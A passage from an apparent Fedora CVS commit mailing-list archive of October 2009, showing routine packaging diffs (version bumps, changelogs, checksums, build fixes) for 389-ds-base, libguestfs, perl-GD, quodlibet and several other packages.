RCS file: /cvs/extras/rpms/389-ds-base/F-12/389-ds-base-git.sh,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- 389-ds-base-git.sh	12 Aug 2009 19:46:53 -0000	1.2
+++ 389-ds-base-git.sh	29 Oct 2009 18:00:00 -0000	1.3
@@ -2,10 +2,10 @@
 
 DATE=`date +%Y%m%d`
 # use a real tag name here
-TAG=389-ds-base-1.2.1
-VERSION=1.2.1
+VERSION=1.2.4
 PKGNAME=389-ds-base
-export CVSROOT=:pserver:anonymous at cvs.fedoraproject.org:/cvs/dirsec
+TAG=$PKGNAME-$VERSION
+#export CVSROOT=:pserver:anonymous at cvs.fedoraproject.org:/cvs/dirsec
 #SRCNAME=$PKGNAME-$VERSION-$DATE
 SRCNAME=$PKGNAME-$VERSION
 


Index: 389-ds-base.spec
===================================================================
RCS file: /cvs/extras/rpms/389-ds-base/F-12/389-ds-base.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- 389-ds-base.spec	7 Oct 2009 15:42:35 -0000	1.9
+++ 389-ds-base.spec	29 Oct 2009 18:00:00 -0000	1.10
@@ -3,7 +3,7 @@
 
 Summary:          389 Directory Server (base)
 Name:             389-ds-base
-Version:          1.2.3
+Version:          1.2.4
 Release:          1%{?dist}
 License:          GPLv2 with exceptions
 URL:              http://port389.org/
@@ -265,6 +265,11 @@ end
 %{_libdir}/%{pkgname}/*.so
 
 %changelog
+* Thu Oct 29 2009 Rich Megginson <rmeggins at redhat.com> - 1.2.4-1
+- 1.2.4 release
+- resolves bug 221905 - added support for Salted MD5 (SMD5) passwords - primarily for migration
+- resolves bug 529258 - Make upgrade remove obsolete schema from 99user.ldif
+
 * Mon Sep 14 2009 Rich Megginson <rmeggins at redhat.com> - 1.2.3-1
 - 1.2.3 release
 - added template-initconfig to %files


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/389-ds-base/F-12/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	7 Oct 2009 15:42:35 -0000	1.5
+++ sources	29 Oct 2009 18:00:00 -0000	1.6
@@ -1 +1,2 @@
 1a21a7490d71a585025af657ee133790  389-ds-base-1.2.3.tar.bz2
+291f1fb511419beb8ea4e04d0065e8f7  389-ds-base-1.2.4.tar.bz2



From rmeggins at fedoraproject.org  Thu Oct 29 18:00:00 2009
From: rmeggins at fedoraproject.org (Richard Allen Megginson)
Date: Thu, 29 Oct 2009 18:00:00 +0000 (UTC)
Subject: rpms/389-ds-base/F-11 .cvsignore, 1.4, 1.5 389-ds-base-git-local.sh,
	1.1, 1.2 389-ds-base-git.sh, 1.2, 1.3 389-ds-base.spec, 1.6,
	1.7 sources, 1.5, 1.6
Message-ID: <20091029180000.9094E11C00E5@cvs1.fedora.phx.redhat.com>

Author: rmeggins

Update of /cvs/extras/rpms/389-ds-base/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7978/F-11

Modified Files:
	.cvsignore 389-ds-base-git-local.sh 389-ds-base-git.sh 
	389-ds-base.spec sources 
Log Message:
1.2.4 release
resolves bug 221905 - added support for Salted MD5 (SMD5) passwords - primarily for migration
resolves bug 529258 - Make upgrade remove obsolete schema from 99user.ldif
tracking bug - https://bugzilla.redhat.com/show_bug.cgi?id=531879



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/389-ds-base/F-11/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	7 Oct 2009 15:42:35 -0000	1.4
+++ .cvsignore	29 Oct 2009 17:59:59 -0000	1.5
@@ -1 +1,2 @@
 389-ds-base-1.2.3.tar.bz2
+389-ds-base-1.2.4.tar.bz2


Index: 389-ds-base-git-local.sh
===================================================================
RCS file: /cvs/extras/rpms/389-ds-base/F-11/389-ds-base-git-local.sh,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- 389-ds-base-git-local.sh	7 Oct 2009 15:42:35 -0000	1.1
+++ 389-ds-base-git-local.sh	29 Oct 2009 18:00:00 -0000	1.2
@@ -2,14 +2,18 @@
 
 DATE=`date +%Y%m%d`
 # use a real tag name here
-TAG=389-ds-base-1.2.3
-VERSION=1.2.3
+VERSION=1.2.4
 PKGNAME=389-ds-base
+TAG=$PKGNAME-$VERSION
 #SRCNAME=$PKGNAME-$VERSION-$DATE
 SRCNAME=$PKGNAME-$VERSION
 
 echo you must be in the ds git repo to use this
-git status > /dev/null || echo bye
+test -d .git || {
+    echo bye
+    exit 1
+}
+
 if [ -z "$1" ] ; then
 	dir=.
 else


Index: 389-ds-base-git.sh
===================================================================
RCS file: /cvs/extras/rpms/389-ds-base/F-11/389-ds-base-git.sh,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- 389-ds-base-git.sh	12 Aug 2009 19:46:53 -0000	1.2
+++ 389-ds-base-git.sh	29 Oct 2009 18:00:00 -0000	1.3
@@ -2,10 +2,10 @@
 
 DATE=`date +%Y%m%d`
 # use a real tag name here
-TAG=389-ds-base-1.2.1
-VERSION=1.2.1
+VERSION=1.2.4
 PKGNAME=389-ds-base
-export CVSROOT=:pserver:anonymous at cvs.fedoraproject.org:/cvs/dirsec
+TAG=$PKGNAME-$VERSION
+#export CVSROOT=:pserver:anonymous at cvs.fedoraproject.org:/cvs/dirsec
 #SRCNAME=$PKGNAME-$VERSION-$DATE
 SRCNAME=$PKGNAME-$VERSION
 


Index: 389-ds-base.spec
===================================================================
RCS file: /cvs/extras/rpms/389-ds-base/F-11/389-ds-base.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- 389-ds-base.spec	7 Oct 2009 15:42:35 -0000	1.6
+++ 389-ds-base.spec	29 Oct 2009 18:00:00 -0000	1.7
@@ -3,7 +3,7 @@
 
 Summary:          389 Directory Server (base)
 Name:             389-ds-base
-Version:          1.2.3
+Version:          1.2.4
 Release:          1%{?dist}
 License:          GPLv2 with exceptions
 URL:              http://port389.org/
@@ -265,6 +265,11 @@ end
 %{_libdir}/%{pkgname}/*.so
 
 %changelog
+* Thu Oct 29 2009 Rich Megginson <rmeggins at redhat.com> - 1.2.4-1
+- 1.2.4 release
+- resolves bug 221905 - added support for Salted MD5 (SMD5) passwords - primarily for migration
+- resolves bug 529258 - Make upgrade remove obsolete schema from 99user.ldif
+
 * Mon Sep 14 2009 Rich Megginson <rmeggins at redhat.com> - 1.2.3-1
 - 1.2.3 release
 - added template-initconfig to %files


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/389-ds-base/F-11/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	7 Oct 2009 15:42:35 -0000	1.5
+++ sources	29 Oct 2009 18:00:00 -0000	1.6
@@ -1 +1,2 @@
 1a21a7490d71a585025af657ee133790  389-ds-base-1.2.3.tar.bz2
+291f1fb511419beb8ea4e04d0065e8f7  389-ds-base-1.2.4.tar.bz2



From rmeggins at fedoraproject.org  Thu Oct 29 18:00:02 2009
From: rmeggins at fedoraproject.org (Richard Allen Megginson)
Date: Thu, 29 Oct 2009 18:00:02 +0000 (UTC)
Subject: rpms/389-ds-base/devel .cvsignore, 1.4, 1.5 389-ds-base-git-local.sh,
	1.1, 1.2 389-ds-base-git.sh, 1.2, 1.3 389-ds-base.spec, 1.9,
	1.10 sources, 1.5, 1.6
Message-ID: <20091029180002.88D3511C00E5@cvs1.fedora.phx.redhat.com>

Author: rmeggins

Update of /cvs/extras/rpms/389-ds-base/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7978/devel

Modified Files:
	.cvsignore 389-ds-base-git-local.sh 389-ds-base-git.sh 
	389-ds-base.spec sources 
Log Message:
1.2.4 release
resolves bug 221905 - added support for Salted MD5 (SMD5) passwords - primarily for migration
resolves bug 529258 - Make upgrade remove obsolete schema from 99user.ldif
tracking bug - https://bugzilla.redhat.com/show_bug.cgi?id=531879



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/389-ds-base/devel/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	7 Oct 2009 15:42:35 -0000	1.4
+++ .cvsignore	29 Oct 2009 18:00:01 -0000	1.5
@@ -1 +1,2 @@
 389-ds-base-1.2.3.tar.bz2
+389-ds-base-1.2.4.tar.bz2


Index: 389-ds-base-git-local.sh
===================================================================
RCS file: /cvs/extras/rpms/389-ds-base/devel/389-ds-base-git-local.sh,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- 389-ds-base-git-local.sh	7 Oct 2009 15:42:35 -0000	1.1
+++ 389-ds-base-git-local.sh	29 Oct 2009 18:00:01 -0000	1.2
@@ -2,14 +2,18 @@
 
 DATE=`date +%Y%m%d`
 # use a real tag name here
-TAG=389-ds-base-1.2.3
-VERSION=1.2.3
+VERSION=1.2.4
 PKGNAME=389-ds-base
+TAG=$PKGNAME-$VERSION
 #SRCNAME=$PKGNAME-$VERSION-$DATE
 SRCNAME=$PKGNAME-$VERSION
 
 echo you must be in the ds git repo to use this
-git status > /dev/null || echo bye
+test -d .git || {
+    echo bye
+    exit 1
+}
+
 if [ -z "$1" ] ; then
 	dir=.
 else


Index: 389-ds-base-git.sh
===================================================================
RCS file: /cvs/extras/rpms/389-ds-base/devel/389-ds-base-git.sh,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- 389-ds-base-git.sh	12 Aug 2009 19:46:53 -0000	1.2
+++ 389-ds-base-git.sh	29 Oct 2009 18:00:01 -0000	1.3
@@ -2,10 +2,10 @@
 
 DATE=`date +%Y%m%d`
 # use a real tag name here
-TAG=389-ds-base-1.2.1
-VERSION=1.2.1
+VERSION=1.2.4
 PKGNAME=389-ds-base
-export CVSROOT=:pserver:anonymous at cvs.fedoraproject.org:/cvs/dirsec
+TAG=$PKGNAME-$VERSION
+#export CVSROOT=:pserver:anonymous at cvs.fedoraproject.org:/cvs/dirsec
 #SRCNAME=$PKGNAME-$VERSION-$DATE
 SRCNAME=$PKGNAME-$VERSION
 


Index: 389-ds-base.spec
===================================================================
RCS file: /cvs/extras/rpms/389-ds-base/devel/389-ds-base.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- 389-ds-base.spec	7 Oct 2009 15:42:35 -0000	1.9
+++ 389-ds-base.spec	29 Oct 2009 18:00:01 -0000	1.10
@@ -3,7 +3,7 @@
 
 Summary:          389 Directory Server (base)
 Name:             389-ds-base
-Version:          1.2.3
+Version:          1.2.4
 Release:          1%{?dist}
 License:          GPLv2 with exceptions
 URL:              http://port389.org/
@@ -265,6 +265,11 @@ end
 %{_libdir}/%{pkgname}/*.so
 
 %changelog
+* Thu Oct 29 2009 Rich Megginson <rmeggins at redhat.com> - 1.2.4-1
+- 1.2.4 release
+- resolves bug 221905 - added support for Salted MD5 (SMD5) passwords - primarily for migration
+- resolves bug 529258 - Make upgrade remove obsolete schema from 99user.ldif
+
 * Mon Sep 14 2009 Rich Megginson <rmeggins at redhat.com> - 1.2.3-1
 - 1.2.3 release
 - added template-initconfig to %files


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/389-ds-base/devel/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	7 Oct 2009 15:42:35 -0000	1.5
+++ sources	29 Oct 2009 18:00:01 -0000	1.6
@@ -1 +1,2 @@
 1a21a7490d71a585025af657ee133790  389-ds-base-1.2.3.tar.bz2
+291f1fb511419beb8ea4e04d0065e8f7  389-ds-base-1.2.4.tar.bz2



From kasal at fedoraproject.org  Thu Oct 29 18:01:35 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Thu, 29 Oct 2009 18:01:35 +0000 (UTC)
Subject: rpms/perl-BSD-Resource/devel perl-BSD-Resource.spec,1.34,1.35
Message-ID: <20091029180135.E363F11C00E5@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/perl-BSD-Resource/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8875

Modified Files:
	perl-BSD-Resource.spec 
Log Message:
- bump release


Index: perl-BSD-Resource.spec
===================================================================
RCS file: /cvs/extras/rpms/perl-BSD-Resource/devel/perl-BSD-Resource.spec,v
retrieving revision 1.34
retrieving revision 1.35
diff -u -p -r1.34 -r1.35
--- perl-BSD-Resource.spec	27 Jul 2009 14:41:13 -0000	1.34
+++ perl-BSD-Resource.spec	29 Oct 2009 18:01:35 -0000	1.35
@@ -1,7 +1,7 @@
 Name:           perl-BSD-Resource
 Version:        1.29.03
 %define module_version 1.2903
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        BSD process resource limit and priority functions
 
 Group:          Development/Libraries
@@ -52,6 +52,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Thu Oct 29 2009 Stepan Kasal <skasal at redhat.com> - 1.29.03-2
+- bump release
+
 * Mon Jul 27 2009 Marcela Ma?l??ov? <mmaslano at redhat.com> - 1.29.03-1
 - update, remove unneeded patch
 



From kasal at fedoraproject.org  Thu Oct 29 18:02:38 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Thu, 29 Oct 2009 18:02:38 +0000 (UTC)
Subject: rpms/perl-BSD-Resource/F-12 perl-BSD-Resource.spec,1.34,1.35
Message-ID: <20091029180238.2C05D11C00E5@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/perl-BSD-Resource/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9411

Modified Files:
	perl-BSD-Resource.spec 
Log Message:
sync with rawhide


Index: perl-BSD-Resource.spec
===================================================================
RCS file: /cvs/extras/rpms/perl-BSD-Resource/F-12/perl-BSD-Resource.spec,v
retrieving revision 1.34
retrieving revision 1.35
diff -u -p -r1.34 -r1.35
--- perl-BSD-Resource.spec	27 Jul 2009 14:41:13 -0000	1.34
+++ perl-BSD-Resource.spec	29 Oct 2009 18:02:37 -0000	1.35
@@ -1,7 +1,7 @@
 Name:           perl-BSD-Resource
 Version:        1.29.03
 %define module_version 1.2903
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        BSD process resource limit and priority functions
 
 Group:          Development/Libraries
@@ -52,6 +52,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Thu Oct 29 2009 Stepan Kasal <skasal at redhat.com> - 1.29.03-2
+- bump release
+
 * Mon Jul 27 2009 Marcela Ma?l??ov? <mmaslano at redhat.com> - 1.29.03-1
 - update, remove unneeded patch
 



From pbrobinson at fedoraproject.org  Thu Oct 29 18:02:59 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Thu, 29 Oct 2009 18:02:59 +0000 (UTC)
Subject: rpms/dalston/devel .cvsignore, 1.3, 1.4 dalston.spec, 1.3,
	1.4 sources, 1.3, 1.4
Message-ID: <20091029180259.A332111C00E5@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/dalston/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9622

Modified Files:
	.cvsignore dalston.spec sources 
Log Message:
- new upstream 0.1.11 release


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/dalston/devel/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	21 Oct 2009 21:14:55 -0000	1.3
+++ .cvsignore	29 Oct 2009 18:02:58 -0000	1.4
@@ -1 +1 @@
-dalston-0.1.10.tar.gz
+dalston-0.1.11.tar.bz2


Index: dalston.spec
===================================================================
RCS file: /cvs/pkgs/rpms/dalston/devel/dalston.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- dalston.spec	21 Oct 2009 21:39:32 -0000	1.3
+++ dalston.spec	29 Oct 2009 18:02:59 -0000	1.4
@@ -6,7 +6,7 @@
 # make dist
 
 Name:          dalston
-Version:       0.1.10
+Version:       0.1.11
 Release:       2%{?dist}
 Summary:       Moblin System Information Icons
 
@@ -30,12 +30,15 @@ BuildRequires: pkgconfig
 BuildRequires: intltool
 BuildRequires: gettext
 
+BuildRequires: libtool
+
 %description
 System information icons for Moblin including volume and power 
 management applets.
 
 %prep
 %setup -q
+%patch0 -p1 -b .gnome-vol
 
 %build
 %configure --disable-static
@@ -61,6 +64,9 @@ rm -rf %{buildroot}
 %{_datadir}/dbus-1/services/org.moblin.UX.Shell.Panels.volume.service
 
 %changelog
+* Thu Oct 29 2009 Peter Robinson <pbrobinson at gmail.com> 0.1.11-1
+- new upstream 0.1.11 release
+
 * Wed Oct 21 2009 Peter Robinson <pbrobinson at gmail.com> 0.1.10-2
 - update files list for new release
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/dalston/devel/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	21 Oct 2009 21:14:55 -0000	1.3
+++ sources	29 Oct 2009 18:02:59 -0000	1.4
@@ -1 +1 @@
-a8f98ab9830381d00477130cbb80c91a  dalston-0.1.10.tar.gz
+fb71c27c06fc7a165b4a7ea72e37c494  dalston-0.1.11.tar.bz2



From rjones at fedoraproject.org  Thu Oct 29 18:05:18 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Thu, 29 Oct 2009 18:05:18 +0000 (UTC)
Subject: rpms/libguestfs/EL-5 libguestfs.spec,1.74,1.75
Message-ID: <20091029180519.895C711C00E5@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/libguestfs/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10428

Modified Files:
	libguestfs.spec 
Log Message:
I hate autoconf


Index: libguestfs.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libguestfs/EL-5/libguestfs.spec,v
retrieving revision 1.74
retrieving revision 1.75
diff -u -p -r1.74 -r1.75
--- libguestfs.spec	29 Oct 2009 17:57:57 -0000	1.74
+++ libguestfs.spec	29 Oct 2009 18:05:17 -0000	1.75
@@ -5,7 +5,7 @@ Summary:     Access and modify virtual m
 Name:        libguestfs
 Epoch:       1
 Version:     1.0.75
-Release:     1%{?dist}.2
+Release:     1%{?dist}.3
 License:     LGPLv2+
 Group:       Development/Libraries
 URL:         http://libguestfs.org/
@@ -324,7 +324,7 @@ Requires:    jpackage-utils
 %setup -q
 
 %patch0 -p1
-autoconf
+autoreconf
 
 mkdir -p daemon/m4
 
@@ -571,7 +571,7 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
-* Thu Oct 29 2009 Richard W.M. Jones <rjones at redhat.com> - 1.0.75-1.el5.2
+* Thu Oct 29 2009 Richard W.M. Jones <rjones at redhat.com> - 1.0.75-1.el5.3
 - New upstream release 1.0.75.
 - New library: libhivex.
 - New tools: virt-win-reg, hivexml, hivexget.



From kasal at fedoraproject.org  Thu Oct 29 18:09:25 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Thu, 29 Oct 2009 18:09:25 +0000 (UTC)
Subject: rpms/perl-MIME-Types/F-12 .cvsignore, 1.11,
	1.12 perl-MIME-Types.spec, 1.22, 1.23 sources, 1.11, 1.12
Message-ID: <20091029180925.CB70311C00E5@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/perl-MIME-Types/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11928

Modified Files:
	.cvsignore perl-MIME-Types.spec sources 
Log Message:
sync with rawhide


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/perl-MIME-Types/F-12/.cvsignore,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- .cvsignore	13 Mar 2009 21:51:34 -0000	1.11
+++ .cvsignore	29 Oct 2009 18:09:23 -0000	1.12
@@ -1 +1 @@
-MIME-Types-1.27.tar.gz
+MIME-Types-1.28.tar.gz


Index: perl-MIME-Types.spec
===================================================================
RCS file: /cvs/extras/rpms/perl-MIME-Types/F-12/perl-MIME-Types.spec,v
retrieving revision 1.22
retrieving revision 1.23
diff -u -p -r1.22 -r1.23
--- perl-MIME-Types.spec	26 Jul 2009 09:04:50 -0000	1.22
+++ perl-MIME-Types.spec	29 Oct 2009 18:09:24 -0000	1.23
@@ -1,6 +1,6 @@
 Name:           perl-MIME-Types
-Version:        1.27
-Release:        2%{?dist}
+Version:        1.28
+Release:        1%{?dist}
 Summary:        MIME types module for Perl
 
 License:        GPL+ or Artistic
@@ -59,6 +59,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Wed Oct  7 2009 Stepan Kasal <skasal at redhat.com> - 1.28-1
+- new upstream version
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.27-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/perl-MIME-Types/F-12/sources,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- sources	13 Mar 2009 21:51:35 -0000	1.11
+++ sources	29 Oct 2009 18:09:25 -0000	1.12
@@ -1 +1 @@
-9407dfdd3a5adb7bf569ed2a184f1640  MIME-Types-1.27.tar.gz
+5fe537d9d803c43a36c3c55623c2d6da  MIME-Types-1.28.tar.gz



From kasal at fedoraproject.org  Thu Oct 29 18:09:43 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Thu, 29 Oct 2009 18:09:43 +0000 (UTC)
Subject: rpms/perl-PPI/F-12 .cvsignore,1.8,1.9
Message-ID: <20091029180943.23D6511C00E5@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/perl-PPI/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12093

Modified Files:
	.cvsignore 
Log Message:
sync with rawhide


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/perl-PPI/F-12/.cvsignore,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- .cvsignore	9 Sep 2008 19:40:13 -0000	1.8
+++ .cvsignore	29 Oct 2009 18:09:42 -0000	1.9
@@ -1 +1 @@
-PPI-1.203.tar.gz
+PPI-1.206.tar.gz



From jcollie at fedoraproject.org  Thu Oct 29 18:10:50 2009
From: jcollie at fedoraproject.org (Jeffrey C. Ollie)
Date: Thu, 29 Oct 2009 18:10:50 +0000 (UTC)
Subject: rpms/quodlibet/devel quodlibet.spec,1.16,1.17
Message-ID: <20091029181050.D9B4411C00E5@cvs1.fedora.phx.redhat.com>

Author: jcollie

Update of /cvs/pkgs/rpms/quodlibet/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12487

Modified Files:
	quodlibet.spec 
Log Message:
* Wed Oct 28 2009 Jeffrey C. Ollie <jeff at ocjtech.us> - 2.1-3
- Require gstreamer-plugins-good - BZ#531664



Index: quodlibet.spec
===================================================================
RCS file: /cvs/pkgs/rpms/quodlibet/devel/quodlibet.spec,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- quodlibet.spec	27 Jul 2009 02:42:02 -0000	1.16
+++ quodlibet.spec	29 Oct 2009 18:10:50 -0000	1.17
@@ -2,7 +2,7 @@
 
 Name:           quodlibet
 Version:        2.1
-Release:        2%{?dist}
+Release:        3%{?dist}
 Summary:        A music management program
 
 Group:          Applications/Multimedia
@@ -37,6 +37,7 @@ Requires:       python >= 2.4
 Requires:       pygtk2 >= 2.10
 Requires:       gstreamer-python >= 0.10.2
 Requires:       gnome-python2-canvas
+Requires:	gstreamer-plugins-good
 
 # For tray icon plugin
 Requires:       gnome-python2-libegg
@@ -124,6 +125,9 @@ rm -rf %{buildroot}
 %{python_sitelib}/quodlibet-%{version}-py2.6.egg-info
 
 %changelog
+* Wed Oct 28 2009 Jeffrey C. Ollie <jeff at ocjtech.us> - 2.1-3
+- Require gstreamer-plugins-good - BZ#531664
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.1-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From kasal at fedoraproject.org  Thu Oct 29 18:17:51 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Thu, 29 Oct 2009 18:17:51 +0000 (UTC)
Subject: rpms/perl-GD/F-12 .cvsignore, 1.13, 1.14 perl-GD.spec, 1.28,
	1.29 sources, 1.13, 1.14
Message-ID: <20091029181751.C59EC11C00E5@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/perl-GD/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15142

Modified Files:
	.cvsignore perl-GD.spec sources 
Log Message:
sync with rawhide


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/perl-GD/F-12/.cvsignore,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- .cvsignore	13 Mar 2009 19:42:48 -0000	1.13
+++ .cvsignore	29 Oct 2009 18:17:50 -0000	1.14
@@ -1 +1 @@
-GD-2.41.tar.gz
+GD-2.44.tar.gz


Index: perl-GD.spec
===================================================================
RCS file: /cvs/extras/rpms/perl-GD/F-12/perl-GD.spec,v
retrieving revision 1.28
retrieving revision 1.29
diff -u -p -r1.28 -r1.29
--- perl-GD.spec	26 Jul 2009 06:08:39 -0000	1.28
+++ perl-GD.spec	29 Oct 2009 18:17:51 -0000	1.29
@@ -1,13 +1,6 @@
-#
-# Rebuild option:
-#
-#   --with testsuite         - run the test suite
-#
-
-
 Name:           perl-GD
-Version:        2.41
-Release:        3%{?dist}
+Version:        2.44
+Release:        1%{?dist}
 Summary:        Perl interface to the GD graphics library
 
 Group:          Development/Libraries
@@ -15,12 +8,10 @@ License:        GPL+ or Artistic
 URL:            http://search.cpan.org/dist/GD/
 Source0:        http://www.cpan.org/authors/id/L/LD/LDS/GD-%{version}.tar.gz
 Patch0:		perl-GD-2.41-Group.patch
+Patch1:		perl-GD-skip-3.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  gd-devel >= 2.0.28
-BuildRequires:  %{_bindir}/gdlib-config
-BuildRequires:  libpng-devel, libjpeg-devel, freetype-devel
-BuildRequires:  fontconfig-devel, libX11-devel, libXpm-devel
 BuildRequires:  perl(ExtUtils::MakeMaker)
 Requires:       gd >= 2.0.28
 Requires:       perl(:MODULE_COMPAT_%(eval "`%{__perl} -V:version`"; echo $version))
@@ -34,6 +25,9 @@ create PNG images on the fly or modify e
 %prep
 %setup -q -n GD-%{version}
 %patch0 -p1
+%ifarch %{ix86}
+%patch1 -p1
+%endif
 %{__perl} -pi -e 's|/usr/local/bin/perl\b|%{__perl}|' \
   qd.pl demos/{*.{pl,cgi},truetype_test}
 chmod -c 644 bdf_scripts/* demos/*
@@ -55,10 +49,13 @@ chmod -R u+w $RPM_BUILD_ROOT/*
 
 
 %check
-%{?_with_testsuite:make test}
+make test
+%ifarch %{ix86}
+perl t/GD.t --write
+: This is the file that should contain some blue color:
+base64 t/test.out.3.png_new
+%endif
 
-# Remove duplicate file
-rm bdf_scripts/bdf2gdfont.PLS
 
 %clean
 rm -rf $RPM_BUILD_ROOT
@@ -66,7 +63,7 @@ rm -rf $RPM_BUILD_ROOT
 
 %files
 %defattr(-,root,root,-)
-%doc ChangeLog README README.QUICKDRAW demos/ bdf_scripts/
+%doc ChangeLog README README.QUICKDRAW demos/
 %{_bindir}/*
 %{perl_vendorarch}/auto/GD
 %{perl_vendorarch}/GD*
@@ -76,6 +73,12 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Oct  5 2009 Stepan Kasal <skasal at redhat.com> - 2.44-1
+- new upstream version
+- run tests always
+- do not add bdf_scripts/ to docs
+- switch off the test that fails in i686 koji
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.41-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/perl-GD/F-12/sources,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- sources	13 Mar 2009 19:42:49 -0000	1.13
+++ sources	29 Oct 2009 18:17:51 -0000	1.14
@@ -1 +1 @@
-15d523ea72b552863453882f7d132712  GD-2.41.tar.gz
+9b9a4d78a5af0616a96264b0aa354859  GD-2.44.tar.gz



From jcollie at fedoraproject.org  Thu Oct 29 18:18:29 2009
From: jcollie at fedoraproject.org (Jeffrey C. Ollie)
Date: Thu, 29 Oct 2009 18:18:29 +0000 (UTC)
Subject: rpms/quodlibet/F-12 quodlibet.spec,1.16,1.17
Message-ID: <20091029181829.09CD011C00E5@cvs1.fedora.phx.redhat.com>

Author: jcollie

Update of /cvs/pkgs/rpms/quodlibet/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15467

Modified Files:
	quodlibet.spec 
Log Message:
* Wed Oct 28 2009 Jeffrey C. Ollie <jeff at ocjtech.us> - 2.1-3
- Require gstreamer-plugins-good - BZ#531664



Index: quodlibet.spec
===================================================================
RCS file: /cvs/pkgs/rpms/quodlibet/F-12/quodlibet.spec,v
retrieving revision 1.16
retrieving revision 1.17
